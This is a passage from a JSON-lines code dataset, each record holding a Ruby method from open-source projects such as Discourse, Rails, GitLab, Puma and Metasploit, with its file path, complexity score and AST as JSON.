Discourse::SYSTEM_USER_ID\n        post = {\n          id: \"comment#\" + comment[\"CommentID\"].to_s,\n          user_id: user_id,\n          topic_id: t[:topic_id],\n          raw: get_raw(comment, user_id),\n          created_at: Time.zone.at(comment[\"DateInserted\"]),\n        }\n\n        post[:custom_fields] = { is_accepted_answer: true } if comment[\"QnA\"] == \"Accepted\"\n\n        post\n      end\n    end\n  end","complexity_score":72.75,"ast_json":"{\"type\":\"def\",\"children\":[\"import_posts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"importing posts...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"total_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT count(*) count FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"Comment;\"]}]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"count\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@last_post_id\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batches\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comments\",{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT CommentID, DiscussionID, Body, Format,\\n\"]},{\"type\":\"str\",\"children\":[\"                DateInserted, InsertUserID, QnA\\n\"]},{\"type\":\"str\",\"children\":[\"         FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"Comment\\n\"]},{\"type\":\"str\",\"children\":[\"         WHERE CommentID > \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@last_post_id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"         ORDER BY CommentID ASC\\n\"]},{\"type\":\"str\",\"children\":[\"         LIMIT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comments\"]},\"size\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"ivasgn\",\"children\":[\"@last_post_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comments\"]},\"to_a\"]},\"last\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CommentID\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_records_exist?\",{\"type\":\"sym\",\"children\":[\"posts\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comments\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"comment#\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CommentID\"]}]},\"to_s\"]}]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_posts\",{\"type\":\"lvar\",\"children\":[\"comments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"lvar\",\"children\":[\"total_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[null,\"topic_lookup_from_imported_post_id\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"discussion#\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DiscussionID\"]}]},\"to_s\"]}]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Body\"]}]},\"blank?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"user_id\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"[]\",{\"type\":\"str\",\"children\":[\"InsertUserID\"]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"SYSTEM_USER_ID\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"comment#\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CommentID\"]}]},\"to_s\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"send\",\"children\":[null,\"get_raw\",{\"type\":\"lvar\",\"children\":[\"comment\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DateInserted\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"[]\",{\"type\":\"str\",\"children\":[\"QnA\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"Accepted\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"custom_fields\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_accepted_answer\"]},{\"type\":\"true\",\"children\":[]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"post\"]}]}]}]}]}]}]}","id":"2fa505e2-4101-4bab-8ca0-db4d033aeee4"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/file_helper.rb","start_line":39,"raw_source":"def self.is_supported_playable_media?(filename)\n    filename.match?(supported_playable_media_regexp)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"is_supported_playable_media?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},\"match?\",{\"type\":\"send\",\"children\":[null,\"supported_playable_media_regexp\"]}]}]}","id":"4fff826d-af02-49f0-be92-c6bc3a8d8032"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_link_to.rb","start_line":120,"raw_source":"def actually_process_call exp\n    return if @matched\n\n    target = exp.target\n    target = process target.dup if sexp? target\n\n    #Bare records create links to the model resource,\n    #not a string that could have injection\n    #TODO: Needs test? I think this is broken?\n    return exp if model_name? target and context == [:call, :arglist]\n\n    super\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"actually_process_call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@matched\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"target\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sexp?\",{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"dup\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model_name?\",{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"==\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"sym\",\"children\":[\"arglist\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"4e1496c0-8976-4947-94c2-f18610461e49"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/hashdump.rb","start_line":248,"raw_source":"def decode_windows_hint(e_string)\n    d_string = ''\n    e_string.scan(/..../).each do |chunk|\n      bytes = chunk.scan(/../)\n      d_string += (bytes[1] + bytes[0]).to_s.hex.chr\n    end\n    d_string\n  end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_windows_hint\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e_string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d_string\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e_string\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"....\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bytes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d_string\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bytes\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bytes\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},\"to_s\"]},\"hex\"]},\"chr\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"d_string\"]}]}]}","id":"bfc75971-1d4a-4525-8aa8-b05281d0b94d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/vuln.rb","start_line":6,"raw_source":"def each_vuln(wspace=framework.db.workspace, &block)\n  ::ApplicationRecord.connection_pool.with_connection {\n    wspace.vulns.each do |vulns|\n      block.call(vulns)\n    end\n  }\n  end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"each_vuln\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"wspace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"workspace\"]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ApplicationRecord\"]},\"connection_pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wspace\"]},\"vulns\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vulns\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"vulns\"]}]}]}]}]}","id":"f103c431-fc90-46c4-88f3-680a024af97a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/type/adapter_specific_registry.rb","start_line":27,"raw_source":"def lookup(symbol, *args, **kwargs)\n        registration = find_registration(symbol, *args, **kwargs)\n\n        if registration\n          registration.call(self, symbol, *args, **kwargs)\n        else\n          raise ArgumentError, \"Unknown type #{symbol.inspect}\"\n        end\n      end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"lookup\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"symbol\"]},{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"registration\",{\"type\":\"send\",\"children\":[null,\"find_registration\",{\"type\":\"lvar\",\"children\":[\"symbol\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"registration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"registration\"]},\"call\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"symbol\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown type \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"symbol\"]},\"inspect\"]}]}]}]}]}]}]}","id":"889a6115-aa38-432d-a0a6-38ac40b6d587"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/select_kit.rb","start_line":57,"raw_source":"def has_selected_name?(name)\n        component.find(\".select-kit-header[data-name='#{name}']\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_selected_name?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"component\"]},\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".select-kit-header[data-name='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"']\"]}]}]}]}","id":"24e0a0d8-e3a3-46ab-815f-486acb8fb7c9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/api/1_manage/import/import_large_github_repo_spec.rb","start_line":547,"raw_source":"def gl_commits\n        @gl_commits ||= begin\n          logger.debug(\"= Fetching commits =\")\n          imported_project.commits(auto_paginate: true, attempts: 3).map { |c| c[:id] }\n        end\n      end","complexity_score":9.98,"ast_json":"{\"type\":\"def\",\"children\":[\"gl_commits\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@gl_commits\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"debug\",{\"type\":\"str\",\"children\":[\"= Fetching commits =\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"imported_project\"]},\"commits\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auto_paginate\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attempts\"]},{\"type\":\"int\",\"children\":[3]}]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}","id":"649b3d24-dac5-4840-9b00-3146e67fac1f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/database/partitioning_helpers.rb","start_line":34,"raw_source":"def expect_range_partitions_for(table_name, partitions)\n      partitions.each do |suffix, (min_value, max_value)|\n        partition_name = \"#{table_name}_#{suffix}\"\n        expect_range_partition_of(partition_name, table_name, min_value, max_value)\n      end\n\n      expect_total_partitions(table_name, partitions.size, schema: Gitlab::Database::DYNAMIC_PARTITIONS_SCHEMA)\n    end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_range_partitions_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"partitions\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partitions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"suffix\"]},{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"min_value\"]},{\"type\":\"arg\",\"children\":[\"max_value\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"partition_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suffix\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"expect_range_partition_of\",{\"type\":\"lvar\",\"children\":[\"partition_name\"]},{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"min_value\"]},{\"type\":\"lvar\",\"children\":[\"max_value\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"expect_total_partitions\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partitions\"]},\"size\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"schema\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"DYNAMIC_PARTITIONS_SCHEMA\"]}]}]}]}]}]}","id":"bd140734-8e84-4f08-96a2-2870bcd62975"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/users/safe_settings.rb","start_line":129,"raw_source":"def fog_of_war_threshold\n    settings['fog_of_war_threshold']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fog_of_war_threshold\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"[]\",{\"type\":\"str\",\"children\":[\"fog_of_war_threshold\"]}]}]}","id":"4511ed22-c805-40c4-aefa-99c19c26ab86"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/custom_filters_controller.rb","start_line":29,"raw_source":"def fetch_custom_filters\n    @custom_filters = Current.account.custom_filters.where(\n      user: Current.user,\n      filter_type: permitted_params[:filter_type] || DEFAULT_FILTER_TYPE\n    )\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_custom_filters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@custom_filters\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"account\"]},\"custom_filters\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter_type\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filter_type\"]}]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_FILTER_TYPE\"]}]}]}]}]}]}]}","id":"4608b648-f3ba-489c-bd29-574aabb2fb97"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_puma_server.rb","start_line":1149,"raw_source":"def test_chunked_request_pause_between_chunks\n    body = nil\n    content_length = nil\n    server_run { |env|\n      body = env['rack.input'].read\n      content_length = env['CONTENT_LENGTH']\n      [200, {}, [\"\"]]\n    }\n\n    socket = send_http \"GET / HTTP/1.1\\r\\nConnection: close\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n1\\r\\nh\\r\\n\"\n    sleep 1\n\n    socket << \"4\\r\\nello\\r\\n0\\r\\n\\r\\n\"\n\n    response = socket.read_response\n\n    assert_equal \"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\n\\r\\n\", response\n    assert_equal \"hello\", body\n    assert_equal \"5\", content_length\n  end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_chunked_request_pause_between_chunks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"content_length\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_run\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rack.input\"]}]},\"read\"]}]},{\"type\":\"lvasgn\",\"children\":[\"content_length\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CONTENT_LENGTH\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"socket\",{\"type\":\"send\",\"children\":[null,\"send_http\",{\"type\":\"str\",\"children\":[\"GET / HTTP/1.1\\r\\nConnection: close\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n1\\r\\nh\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"<<\",{\"type\":\"str\",\"children\":[\"4\\r\\nello\\r\\n0\\r\\n\\r\\n\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"read_response\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\n\\r\\n\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"hello\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"5\"]},{\"type\":\"lvar\",\"children\":[\"content_length\"]}]}]}]}","id":"b7fef7eb-61da-49fd-af19-1336f4b80d92"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/custom_field_format.rb","start_line":106,"raw_source":"def available_formats\n        available.map(&:name)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"available_formats\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}","id":"9bb42af6-e569-4fce-bf29-078115ffc499"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/action_pack_assertions_test.rb","start_line":455,"raw_source":"def test_assert_redirection_with_status\n    process :redirect_to_path\n    assert_redirected_to \"http://test.host/some/path\", status: :found\n    assert_raise ActiveSupport::TestCase::Assertion do\n      assert_redirected_to \"http://test.host/some/path\", status: :moved_permanently\n    end\n    assert_raise ActiveSupport::TestCase::Assertion, \"Custom message\" do\n      assert_redirected_to \"http://test.host/some/path\", { status: :moved_permanently }, \"Custom message\"\n    end\n\n    process :redirect_permanently\n    assert_redirected_to \"http://test.host/some/path\", status: :moved_permanently\n    assert_raise ActiveSupport::TestCase::Assertion do\n      assert_redirected_to \"http://test.host/some/path\", status: :found\n    end\n    assert_raise ActiveSupport::TestCase::Assertion, \"Custom message\" do\n      assert_redirected_to \"http://test.host/some/path\", { status: :found }, \"Custom message\"\n    end\n  end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_redirection_with_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"sym\",\"children\":[\"redirect_to_path\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_redirected_to\",{\"type\":\"str\",\"children\":[\"http://test.host/some/path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"found\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TestCase\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_redirected_to\",{\"type\":\"str\",\"children\":[\"http://test.host/some/path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"moved_permanently\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TestCase\"]},\"Assertion\"]},{\"type\":\"str\",\"children\":[\"Custom 